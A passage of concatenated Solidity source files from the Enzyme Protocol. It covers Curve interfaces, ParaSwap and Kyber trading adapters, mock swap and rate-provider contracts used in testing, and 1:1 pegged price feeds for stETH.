/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveLiquidityGaugeV2 interface
/// @author Enzyme Council <[email protected]>
interface ICurveLiquidityGaugeV2 {
function deposit(uint256, address) external;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveStableSwapSteth interface
/// @author Enzyme Council <[email protected]>
interface ICurveStableSwapSteth {
function add_liquidity(uint256[2] calldata, uint256) external payable returns (uint256);
function remove_liquidity(uint256, uint256[2] calldata) external returns (uint256[2] memory);
function remove_liquidity_one_coin(
uint256,
int128,
uint256
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./AdapterBase.sol";
/// @title AdapterBase2 Contract
/// @author Enzyme Council <[email protected]>
/// @notice A base contract for integration adapters that extends AdapterBase
/// @dev This is a temporary contract that will be merged into AdapterBase with the next release
abstract contract AdapterBase2 is AdapterBase {
/// @dev Provides a standard implementation for transferring incoming assets and
/// unspent spend assets from an adapter to a VaultProxy at the end of an adapter action
modifier postActionAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
_;
(
,
address[] memory spendAssets,
,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
__transferFullAssetBalances(_vaultProxy, incomingAssets);
__transferFullAssetBalances(_vaultProxy, spendAssets);
}
/// @dev Provides a standard implementation for transferring incoming assets
/// from an adapter to a VaultProxy at the end of an adapter action
modifier postActionIncomingAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
_;
(, , , address[] memory incomingAssets) = __decodeEncodedAssetTransferArgs(
_encodedAssetTransferArgs
);
__transferFullAssetBalances(_vaultProxy, incomingAssets);
}
/// @dev Provides a standard implementation for transferring unspent spend assets
/// from an adapter to a VaultProxy at the end of an adapter action
modifier postActionSpendAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
_;
(, address[] memory spendAssets, , ) = __decodeEncodedAssetTransferArgs(
_encodedAssetTransferArgs
);
__transferFullAssetBalances(_vaultProxy, spendAssets);
}
constructor(address _integrationManager) public AdapterBase(_integrationManager) {}
/// @dev Helper to transfer full asset balances of current contract to the specified target
function __transferFullAssetBalances(address _target, address[] memory _assets) internal {
for (uint256 i = 0; i < _assets.length; i++) {
uint256 balance = ERC20(_assets[i]).balanceOf(address(this));
if (balance > 0) {
ERC20(_assets[i]).safeTransfer(_target, balance);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IParaSwapAugustusSwapper.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title ParaSwapAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with ParaSwap
contract ParaSwapAdapter is AdapterBase {
using SafeMath for uint256;
string private constant REFERRER = "enzyme";
address private immutable EXCHANGE;
address private immutable TOKEN_TRANSFER_PROXY;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _exchange,
address _tokenTransferProxy,
address _wethToken
) public AdapterBase(_integrationManager) {
EXCHANGE = _exchange;
TOKEN_TRANSFER_PROXY = _tokenTransferProxy;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH refund from sent network fees
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "PARASWAP";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address incomingAsset,
uint256 minIncomingAssetAmount,
,
address outgoingAsset,
uint256 outgoingAssetAmount,
IParaSwapAugustusSwapper.Path[] memory paths
) = __decodeCallArgs(_encodedCallArgs);
// Format incoming assets
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
// Format outgoing assets depending on if there are network fees
uint256 totalNetworkFees = __calcTotalNetworkFees(paths);
if (totalNetworkFees > 0) {
// We are not performing special logic if the incomingAsset is the fee asset
if (outgoingAsset == WETH_TOKEN) {
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount.add(totalNetworkFees);
} else {
spendAssets_ = new address[](2);
spendAssets_[0] = outgoingAsset;
spendAssets_[1] = WETH_TOKEN;
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = outgoingAssetAmount;
spendAssetAmounts_[1] = totalNetworkFees;
}
} else {
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on ParaSwap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
__takeOrder(_vaultProxy, _encodedCallArgs);
}
// PRIVATE FUNCTIONS
/// @dev Helper to parse the total amount of network fees (in ETH) for the multiSwap() call
function __calcTotalNetworkFees(IParaSwapAugustusSwapper.Path[] memory _paths)
private
pure
returns (uint256 totalNetworkFees_)
{
for (uint256 i; i < _paths.length; i++) {
totalNetworkFees_ = totalNetworkFees_.add(_paths[i].totalNetworkFee);
}
return totalNetworkFees_;
}
/// @dev Helper to decode the encoded callOnIntegration call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address incomingAsset_,
uint256 minIncomingAssetAmount_,
uint256 expectedIncomingAssetAmount_, // Passed as a courtesy to ParaSwap for analytics
address outgoingAsset_,
uint256 outgoingAssetAmount_,
IParaSwapAugustusSwapper.Path[] memory paths_
)
{
return
abi.decode(
_encodedCallArgs,
(address, uint256, uint256, address, uint256, IParaSwapAugustusSwapper.Path[])
);
}
/// @dev Helper to encode the call to ParaSwap multiSwap() as low-level calldata.
/// Avoids the stack-too-deep error.
function __encodeMultiSwapCallData(
address _vaultProxy,
address _incomingAsset,
uint256 _minIncomingAssetAmount,
uint256 _expectedIncomingAssetAmount, // Passed as a courtesy to ParaSwap for analytics
address _outgoingAsset,
uint256 _outgoingAssetAmount,
IParaSwapAugustusSwapper.Path[] memory _paths
) private pure returns (bytes memory multiSwapCallData) {
return
abi.encodeWithSelector(
IParaSwapAugustusSwapper.multiSwap.selector,
_outgoingAsset, // fromToken
_incomingAsset, // toToken
_outgoingAssetAmount, // fromAmount
_minIncomingAssetAmount, // toAmount
_expectedIncomingAssetAmount, // expectedAmount
_paths, // path
0, // mintPrice
payable(_vaultProxy), // beneficiary
0, // donationPercentage
REFERRER // referrer
);
}
/// @dev Helper to execute ParaSwapAugustusSwapper.multiSwap() via a low-level call.
/// Avoids the stack-too-deep error.
function __executeMultiSwap(bytes memory _multiSwapCallData, uint256 _totalNetworkFees)
private
{
(bool success, bytes memory returnData) = EXCHANGE.call{value: _totalNetworkFees}(
_multiSwapCallData
);
require(success, string(returnData));
}
/// @dev Helper for the inner takeOrder() logic.
/// Avoids the stack-too-deep error.
function __takeOrder(address _vaultProxy, bytes memory _encodedCallArgs) private {
(
address incomingAsset,
uint256 minIncomingAssetAmount,
uint256 expectedIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount,
IParaSwapAugustusSwapper.Path[] memory paths
) = __decodeCallArgs(_encodedCallArgs);
__approveMaxAsNeeded(outgoingAsset, TOKEN_TRANSFER_PROXY, outgoingAssetAmount);
// If there are network fees, unwrap enough WETH to cover the fees
uint256 totalNetworkFees = __calcTotalNetworkFees(paths);
if (totalNetworkFees > 0) {
__unwrapWeth(totalNetworkFees);
}
// Get the callData for the low-level multiSwap() call
bytes memory multiSwapCallData = __encodeMultiSwapCallData(
_vaultProxy,
incomingAsset,
minIncomingAssetAmount,
expectedIncomingAssetAmount,
outgoingAsset,
outgoingAssetAmount,
paths
);
// Execute the trade on ParaSwap
__executeMultiSwap(multiSwapCallData, totalNetworkFees);
// If fees were paid and ETH remains in the contract, wrap it as WETH so it can be returned
if (totalNetworkFees > 0) {
__wrapEth();
}
}
/// @dev Helper to unwrap specified amount of WETH into ETH.
/// Avoids the stack-too-deep error.
function __unwrapWeth(uint256 _amount) private {
IWETH(payable(WETH_TOKEN)).withdraw(_amount);
}
/// @dev Helper to wrap all ETH in contract as WETH.
/// Avoids the stack-too-deep error.
function __wrapEth() private {
uint256 ethBalance = payable(address(this)).balance;
if (ethBalance > 0) {
IWETH(payable(WETH_TOKEN)).deposit{value: ethBalance}();
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `EXCHANGE` variable
/// @return exchange_ The `EXCHANGE` variable value
function getExchange() external view returns (address exchange_) {
return EXCHANGE;
}
/// @notice Gets the `TOKEN_TRANSFER_PROXY` variable
/// @return tokenTransferProxy_ The `TOKEN_TRANSFER_PROXY` variable value
function getTokenTransferProxy() external view returns (address tokenTransferProxy_) {
return TOKEN_TRANSFER_PROXY;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title ParaSwap IAugustusSwapper interface
interface IParaSwapAugustusSwapper {
struct Route {
address payable exchange;
address targetExchange;
uint256 percent;
bytes payload;
uint256 networkFee;
}
struct Path {
address to;
uint256 totalNetworkFee;
Route[] routes;
}
function multiSwap(
address,
address,
uint256,
uint256,
uint256,
Path[] calldata,
uint256,
address payable,
uint256,
string calldata
) external payable returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../release/interfaces/IParaSwapAugustusSwapper.sol";
import "../prices/CentralizedRateProvider.sol";
import "../utils/SwapperBase.sol";
contract MockParaSwapIntegratee is SwapperBase {
using SafeMath for uint256;
address private immutable MOCK_CENTRALIZED_RATE_PROVIDER;
// Deviation set in % defines the MAX deviation per block from the mean rate
uint256 private blockNumberDeviation;
constructor(address _mockCentralizedRateProvider, uint256 _blockNumberDeviation) public {
MOCK_CENTRALIZED_RATE_PROVIDER = _mockCentralizedRateProvider;
blockNumberDeviation = _blockNumberDeviation;
}
/// @dev Must be `public` to avoid error
function multiSwap(
address _fromToken,
address _toToken,
uint256 _fromAmount,
uint256, // toAmount (min received amount)
uint256, // expectedAmount
IParaSwapAugustusSwapper.Path[] memory _paths,
uint256, // mintPrice
address, // beneficiary
uint256, // donationPercentage
string memory // referrer
) public payable returns (uint256) {
return __multiSwap(_fromToken, _toToken, _fromAmount, _paths);
}
/// @dev Helper to parse the total amount of network fees (in ETH) for the multiSwap() call
function __calcTotalNetworkFees(IParaSwapAugustusSwapper.Path[] memory _paths)
private
pure
returns (uint256 totalNetworkFees_)
{
for (uint256 i; i < _paths.length; i++) {
totalNetworkFees_ = totalNetworkFees_.add(_paths[i].totalNetworkFee);
}
return totalNetworkFees_;
}
/// @dev Helper to avoid the stack-too-deep error
function __multiSwap(
address _fromToken,
address _toToken,
uint256 _fromAmount,
IParaSwapAugustusSwapper.Path[] memory _paths
) private returns (uint256) {
address[] memory assetsFromIntegratee = new address[](1);
assetsFromIntegratee[0] = _toToken;
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](1);
assetsFromIntegrateeAmounts[0] = CentralizedRateProvider(MOCK_CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(_fromToken, _fromAmount, _toToken, blockNumberDeviation);
uint256 totalNetworkFees = __calcTotalNetworkFees(_paths);
address[] memory assetsToIntegratee;
uint256[] memory assetsToIntegrateeAmounts;
if (totalNetworkFees > 0) {
assetsToIntegratee = new address[](2);
assetsToIntegratee[1] = ETH_ADDRESS;
assetsToIntegrateeAmounts = new uint256[](2);
assetsToIntegrateeAmounts[1] = totalNetworkFees;
} else {
assetsToIntegratee = new address[](1);
assetsToIntegrateeAmounts = new uint256[](1);
}
assetsToIntegratee[0] = _fromToken;
assetsToIntegrateeAmounts[0] = _fromAmount;
__swap(
msg.sender,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
return assetsFromIntegrateeAmounts[0];
}
///////////////////
// STATE GETTERS //
///////////////////
function getBlockNumberDeviation() external view returns (uint256 blockNumberDeviation_) {
return blockNumberDeviation;
}
function getCentralizedRateProvider()
external
view
returns (address centralizedRateProvider_)
{
return MOCK_CENTRALIZED_RATE_PROVIDER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./EthConstantMixin.sol";
abstract contract SwapperBase is EthConstantMixin {
receive() external payable {}
function __swapAssets(
address payable _trader,
address _srcToken,
uint256 _srcAmount,
address _destToken,
uint256 _actualRate
) internal returns (uint256 destAmount_) {
address[] memory assetsToIntegratee = new address[](1);
assetsToIntegratee[0] = _srcToken;
uint256[] memory assetsToIntegrateeAmounts = new uint256[](1);
assetsToIntegrateeAmounts[0] = _srcAmount;
address[] memory assetsFromIntegratee = new address[](1);
assetsFromIntegratee[0] = _destToken;
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](1);
assetsFromIntegrateeAmounts[0] = _actualRate;
__swap(
_trader,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
return assetsFromIntegrateeAmounts[0];
}
function __swap(
address payable _trader,
address[] memory _assetsToIntegratee,
uint256[] memory _assetsToIntegrateeAmounts,
address[] memory _assetsFromIntegratee,
uint256[] memory _assetsFromIntegrateeAmounts
) internal {
// Take custody of incoming assets
for (uint256 i = 0; i < _assetsToIntegratee.length; i++) {
address asset = _assetsToIntegratee[i];
uint256 amount = _assetsToIntegrateeAmounts[i];
require(asset != address(0), "__swap: empty value in _assetsToIntegratee");
require(amount > 0, "__swap: empty value in _assetsToIntegrateeAmounts");
// Incoming ETH amounts can be ignored
if (asset == ETH_ADDRESS) {
continue;
}
ERC20(asset).transferFrom(_trader, address(this), amount);
}
// Distribute outgoing assets
for (uint256 i = 0; i < _assetsFromIntegratee.length; i++) {
address asset = _assetsFromIntegratee[i];
uint256 amount = _assetsFromIntegrateeAmounts[i];
require(asset != address(0), "__swap: empty value in _assetsFromIntegratee");
require(amount > 0, "__swap: empty value in _assetsFromIntegrateeAmounts");
if (asset == ETH_ADDRESS) {
_trader.transfer(amount);
} else {
ERC20(asset).transfer(_trader, amount);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
abstract contract EthConstantMixin {
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/NormalizedRateProviderBase.sol";
import "../../utils/SwapperBase.sol";
abstract contract MockIntegrateeBase is NormalizedRateProviderBase, SwapperBase {
constructor(
address[] memory _defaultRateAssets,
address[] memory _specialAssets,
uint8[] memory _specialAssetDecimals,
uint256 _ratePrecision
)
public
NormalizedRateProviderBase(
_defaultRateAssets,
_specialAssets,
_specialAssetDecimals,
_ratePrecision
)
{}
function __getRate(address _baseAsset, address _quoteAsset)
internal
view
override
returns (uint256)
{
// 1. Return constant if base asset is quote asset
if (_baseAsset == _quoteAsset) {
return 10**RATE_PRECISION;
}
// 2. Check for a direct rate
uint256 directRate = assetToAssetRate[_baseAsset][_quoteAsset];
if (directRate > 0) {
return directRate;
}
// 3. Check for inverse direct rate
uint256 iDirectRate = assetToAssetRate[_quoteAsset][_baseAsset];
if (iDirectRate > 0) {
return 10**(RATE_PRECISION.mul(2)).div(iDirectRate);
}
// 4. Else return 1
return 10**RATE_PRECISION;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./RateProviderBase.sol";
abstract contract NormalizedRateProviderBase is RateProviderBase {
using SafeMath for uint256;
uint256 public immutable RATE_PRECISION;
constructor(
address[] memory _defaultRateAssets,
address[] memory _specialAssets,
uint8[] memory _specialAssetDecimals,
uint256 _ratePrecision
) public RateProviderBase(_specialAssets, _specialAssetDecimals) {
RATE_PRECISION = _ratePrecision;
for (uint256 i = 0; i < _defaultRateAssets.length; i++) {
for (uint256 j = i + 1; j < _defaultRateAssets.length; j++) {
assetToAssetRate[_defaultRateAssets[i]][_defaultRateAssets[j]] =
10**_ratePrecision;
assetToAssetRate[_defaultRateAssets[j]][_defaultRateAssets[i]] =
10**_ratePrecision;
}
}
}
// TODO: move to main contracts' utils for use with prices
function __calcDenormalizedQuoteAssetAmount(
uint256 _baseAssetDecimals,
uint256 _baseAssetAmount,
uint256 _quoteAssetDecimals,
uint256 _rate
) internal view returns (uint256) {
return
_rate.mul(_baseAssetAmount).mul(10**_quoteAssetDecimals).div(
10**(RATE_PRECISION.add(_baseAssetDecimals))
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./EthConstantMixin.sol";
abstract contract RateProviderBase is EthConstantMixin {
mapping(address => mapping(address => uint256)) public assetToAssetRate;
// Handles non-ERC20 compliant assets like ETH and USD
mapping(address => uint8) public specialAssetToDecimals;
constructor(address[] memory _specialAssets, uint8[] memory _specialAssetDecimals) public {
require(
_specialAssets.length == _specialAssetDecimals.length,
"constructor: _specialAssets and _specialAssetDecimals are uneven lengths"
);
for (uint256 i = 0; i < _specialAssets.length; i++) {
specialAssetToDecimals[_specialAssets[i]] = _specialAssetDecimals[i];
}
specialAssetToDecimals[ETH_ADDRESS] = 18;
}
function __getDecimalsForAsset(address _asset) internal view returns (uint256) {
uint256 decimals = specialAssetToDecimals[_asset];
if (decimals == 0) {
decimals = uint256(ERC20(_asset).decimals());
}
return decimals;
}
function __getRate(address _baseAsset, address _quoteAsset)
internal
view
virtual
returns (uint256)
{
return assetToAssetRate[_baseAsset][_quoteAsset];
}
function setRates(
address[] calldata _baseAssets,
address[] calldata _quoteAssets,
uint256[] calldata _rates
) external {
require(
_baseAssets.length == _quoteAssets.length,
"setRates: _baseAssets and _quoteAssets are uneven lengths"
);
require(
_baseAssets.length == _rates.length,
"setRates: _baseAssets and _rates are uneven lengths"
);
for (uint256 i = 0; i < _baseAssets.length; i++) {
assetToAssetRate[_baseAssets[i]][_quoteAssets[i]] = _rates[i];
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @title AssetUnitCacheMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice Mixin to store a cache of asset units
abstract contract AssetUnitCacheMixin {
event AssetUnitCached(address indexed asset, uint256 prevUnit, uint256 nextUnit);
mapping(address => uint256) private assetToUnit;
/// @notice Caches the decimal-relative unit for a given asset
/// @param _asset The asset for which to cache the decimal-relative unit
/// @dev Callable by any account
function cacheAssetUnit(address _asset) public {
uint256 prevUnit = getCachedUnitForAsset(_asset);
uint256 nextUnit = 10**uint256(ERC20(_asset).decimals());
if (nextUnit != prevUnit) {
assetToUnit[_asset] = nextUnit;
emit AssetUnitCached(_asset, prevUnit, nextUnit);
}
}
/// @notice Caches the decimal-relative units for multiple given assets
/// @param _assets The assets for which to cache the decimal-relative units
/// @dev Callable by any account
function cacheAssetUnits(address[] memory _assets) public {
for (uint256 i; i < _assets.length; i++) {
cacheAssetUnit(_assets[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the cached decimal-relative unit for a given asset
/// @param _asset The asset for which to get the cached decimal-relative unit
/// @return unit_ The cached decimal-relative unit
function getCachedUnitForAsset(address _asset) public view returns (uint256 unit_) {
return assetToUnit[_asset];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../IDerivativePriceFeed.sol";
/// @title SinglePeggedDerivativePriceFeedBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed base for any single derivative that is pegged 1:1 to its underlying
abstract contract SinglePeggedDerivativePriceFeedBase is IDerivativePriceFeed {
address private immutable DERIVATIVE;
address private immutable UNDERLYING;
constructor(address _derivative, address _underlying) public {
require(
ERC20(_derivative).decimals() == ERC20(_underlying).decimals(),
"constructor: Unequal decimals"
);
DERIVATIVE = _derivative;
UNDERLYING = _underlying;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Not a supported derivative");
underlyings_ = new address[](1);
underlyings_[0] = UNDERLYING;
underlyingAmounts_ = new uint256[](1);
underlyingAmounts_[0] = _derivativeAmount;
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == DERIVATIVE;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `DERIVATIVE` variable value
/// @return derivative_ The `DERIVATIVE` variable value
function getDerivative() external view returns (address derivative_) {
return DERIVATIVE;
}
/// @notice Gets the `UNDERLYING` variable value
/// @return underlying_ The `UNDERLYING` variable value
function getUnderlying() external view returns (address underlying_) {
return UNDERLYING;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../release/infrastructure/price-feeds/derivatives/feeds/utils/SinglePeggedDerivativePriceFeedBase.sol";
/// @title TestSingleUnderlyingDerivativeRegistry Contract
/// @author Enzyme Council <[email protected]>
/// @notice A test implementation of SinglePeggedDerivativePriceFeedBase
contract TestSinglePeggedDerivativePriceFeed is SinglePeggedDerivativePriceFeedBase {
constructor(address _derivative, address _underlying)
public
SinglePeggedDerivativePriceFeedBase(_derivative, _underlying)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/SinglePeggedDerivativePriceFeedBase.sol";
/// @title StakehoundEthPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Stakehound stETH, which maps 1:1 with ETH
contract StakehoundEthPriceFeed is SinglePeggedDerivativePriceFeedBase {
constructor(address _steth, address _weth)
public
SinglePeggedDerivativePriceFeedBase(_steth, _weth)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]yme.finance>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/SinglePeggedDerivativePriceFeedBase.sol";
/// @title LidoStethPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Lido stETH, which maps 1:1 with ETH (https://lido.fi/)
contract LidoStethPriceFeed is SinglePeggedDerivativePriceFeedBase {
constructor(address _steth, address _weth)
public
SinglePeggedDerivativePriceFeedBase(_steth, _weth)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/IKyberNetworkProxy.sol";
import "../../../../interfaces/IWETH.sol";
import "../../../../utils/MathHelpers.sol";
import "../utils/AdapterBase.sol";
/// @title KyberAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with Kyber Network
contract KyberAdapter is AdapterBase, MathHelpers {
address private immutable EXCHANGE;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _exchange,
address _wethToken
) public AdapterBase(_integrationManager) {
EXCHANGE = _exchange;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH from swap
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "KYBER_NETWORK";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address incomingAsset,
uint256 minIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
require(
incomingAsset != outgoingAsset,
"parseAssetsForMethod: incomingAsset and outgoingAsset asset cannot be the same"
);
require(outgoingAssetAmount > 0, "parseAssetsForMethod: outgoingAssetAmount must be >0");
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on Kyber
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
